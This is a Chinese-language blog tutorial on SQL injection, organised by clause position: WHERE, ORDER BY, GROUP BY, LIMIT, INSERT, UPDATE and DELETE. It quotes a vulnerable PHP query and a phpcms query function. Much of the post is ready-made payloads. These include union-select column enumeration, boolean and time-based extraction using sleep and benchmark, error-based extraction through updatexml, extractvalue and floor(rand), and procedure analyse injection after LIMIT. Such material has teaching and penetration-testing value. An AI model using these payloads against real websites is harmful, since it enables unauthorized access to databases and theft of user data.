SQL注入各点位介绍

一般一条详细的SQL语句可以设定查询对象(SELECT),更新对象(UPDATE),删除对象(DELETE),插入对象(INSERT),条件(WHERE),排序(ORDER BY),归类(GROUP BY),返回数量(LIMIT),其中查询对象是必须设立的,其它的参数可以按照情况自行设立。对于网站存在的SQL注入漏洞,注入点一般在条件匹配处(WHERE),这也是最常见的。同时其它位置也存在注入利用,但查询对象(SELECT)一般与条件匹配处结合使用,暂不分类描述。

附上phpcms的MySQL查询代码:

public function get_one($data, $table, $where = '', $order = '', $group = '') {
        $where = $where == '' ? '' : ' WHERE '.$where;
        $order = $order == '' ? '' : ' ORDER BY '.$order;
        $group = $group == '' ? '' : ' GROUP BY '.$group;
        $limit = ' LIMIT 1';
        $field = explode( ',', $data);
        array_walk($field, array($this, 'add_special_char'));
        $data = implode(',', $field);

        $sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;
        $this->execute($sql);
        $res = $this->fetch_next();
        $this->free_result();
        return $res;
    }

WHERE注入

这是SQL注入最主要的漏洞利用点。举例有一个urlhttp://www.domain.com?id=1,在后台的处理逻辑可能为:

@$id = $_GET['id'];
$sql = "SELECT id FROM content WHERE id = '$id'";

在该位置的注入利用最为方便与灵活,因为我们不仅可以控制WHERE,只需在传入的数据最后添加一个注释符就能破坏原有SQL语句结构,补充ORDER BY,GROUP BY,LIMIT等条件进行控制输出。

结合union select创建联合查询语句
首先需要获知网页显示了哪些列,因为一般用SELECT *查询获得了多列数据,但只会显示其中部分数据,而我们需要把我们想获知的数据给直接显示在页面,就需要在原本设定的位置上进行查询。在原有SQL语句后使用union select可以创建一个新的查询,不过需要前后两个SQL语句返回的数据数量一样,且应用在页面中时,当第一个SQL查询返回了数据时,联合查询得到的数据将不会进行输出。因此我们需要先得到原本的查询中会返回多少列数据,且使用and1=2这样的条件使原有查询始终为False,使联合查询得到的结果能输出到页面。

简单流程:

1. ?id=1'order by N%23  # N是从1开始递增的整数,一直增加到页面出现错误,即可得知列数为N-1  
2. ?id=1'and1=2 union select 1,2,3...N-1%23  # 看页面显示哪个数字,即使用了哪个输出点  
3. ?id=1'and1=2 union select 1,2,user(),...N-1%23  # 假设2中页面展示了3或其它,则可以在3的位置放置查询内容  

这种最基本的查询姿势,适用于对传入参数未过滤,我们可以构造合理的查询语句对数据库进行查询,获取敏感信息,如保存用户信息的数据表等。

布尔注入
有时候SQL注入可执行,但并不会带出结果(无回显),但我们可以用其它特征来判断SQL语句的执行情况,如页面变化、响应时间等。
基于页面变化的:

1. ?id=1'and if(ascii(substr((select user()),0,1))==32,1,0)%23  # 若if条件为真,页面显示正常
2. ?id=1'and if(ascii(substr((select user()),0,1))==32,sleep(100),0)%23 # 若if条件为真,页面长时间加载

substr($string,$start,$len)  # $string代表处理的字符串,$start表示开始的位置,$len表示截取的字符串长度
ascii($char)   # 返回$char字符的ASCII码

由于该方法处理起来比较耗时且繁琐,一般使用脚本工具等进行爆破。

报错注入
报错注入有重复主键报错floor(rand(0)*2)count(*),路径格式出错updatexml()等,整型溢出exp(~(select user()))

ORDER BY注入

与上面的WHERE条件注入灵活多变不同,ORDER BY注入的限制要多很多,因为一般会进行整型转换,且order by后是不可以跟union select联合查询语句的。
首先,order by的功能是排序,下面这两种查询方法得到的数据一样,但在页面中所展示的位置将有所不同。

1. $sql = "SELECT id,pageid,userid,content FROM news WHERE userid=1 order by userid" # 内容将以userid的顺序进行排列
2. $sql = "SELECT id,pageid,userid,content FROM news WHERE userid=1 order by pageid" # 内容将以pageid的顺序进行排列
3. $sql = "SELECT id,pageid,userid,content FROM news WHERE userid=1 order by 2"  # 这与order by pageid的效果一样,数字代表Select 处的参数位置
# order by xxx desc将以倒序进行排列

猜测列数量
使用?sort={num}猜测当前表有多少字列,适用于select *的情况。

列名爆破

1. ?sort=id  # 页面正常
2. ?sort=xxx # 页面报错等

结合IF()进行布尔判断
假设查询语句中返回5列,即order by 5为真,order by 6为假。

?sort=if(ascii(substr((select user()),0,1))==32,5,6)%23  # 若IF条件正确,页面正常
?sort=if(ascii(substr((select user()),0,1))==32,1,2)%23  # 根据页面变化规律判断条件是否正确

注意:IF($result,$arg1,$arg2)中的arg参数只会被当成字符串,不会有报错执行回显。

GROUP BY注入(仅限于SQL Server)

group byhaving 1=1组合爆表注射。语法结构:

SELECT *
FROM {数据表}
WHERE {条件1}
GROUP BY {列名} HAVING {条件2}

这里的条件1是大体条件,如groupid=1(第一小组的成员),而条件2是符合条件1后进行判断的,如age<35(年龄小于35)。

显错带出列名
若SQL语句中出现having条件但没有group by时,将产生语法错误。如:

SELECT * FROM member WHERE id=1 having 1=1
# 发出错误警告,带出所有列名

带有group by,同样报错带出列名,但缺少第一个列名:

SELECT * FROM member WHERE id=1 group by id having 1=1

group by的利用仅限于此。

LIMIT注入

用法:limit [位置偏移],[行数]

组合注入
适用范围:5.0.0< MySQL <5.6.6版本
limit后面能够拼接的函数只有intoprocedureinto是用来写入文件的,那么方便利用的就只有procedure了。
Limit后面可以用 procedure analyse() 这个子查询,而且只能用extractvalue()benchmark函数进行延时,不能使用sleep()函数。因此该结构展示为:

SELECT *
FROM {数据表}
WHERE {条件}
LIMIT 1,1 procedure analyse(extractvalue(rand(),user(),1))
SELECT *
FROM {数据表}
WHERE {条件}
LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(ascii(substr((select user()),0,1))1,1) LIKE 32, BENCHMARK(5000000,SHA1(1)),1))))),1)
# BENCHMARK(执行次数,表达式)  设置高强度的计算操作使得数据返回有延迟,类似基于时间的布尔注入

结合union select创建联合查询语句
该方法仅适用于SQL语句中不存在order by排序。

其它类型

INSERT注入

INSERT INTO TABLENAME(column1,column2,column3) VALUES('value1','value2','value3')
payload:
INSERT INTO TABLENAME(column1,column2,column3) VALUES('value1','value2' or 注入语句 or '','value3')

利用(需要开启报错)
?value1=aa&value2=bb'or%20updatexml(0,concat(0x7c,version()),1)%20or'&value3=cc

UPDATE注入

UPDATE TABLENAME SET column1='value1',column2='value2',column3='value3' WHERE id=1
payload:
UPDATE TABLENAME SET column1='value1','value2' or 注入语句 or '',column3='value3' WHERE id=1

利用方式上同。

DELETE注入

DELETE FROM TABLENAME WHERE id='1'
payload:
DELETE FROM TABLENAME WHERE id='1' or 注入语句 or ''

利用方式上同。

注意点
利用需要环境开启报错回显。
传入payload时需要注意闭合,不要使用注释符。

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据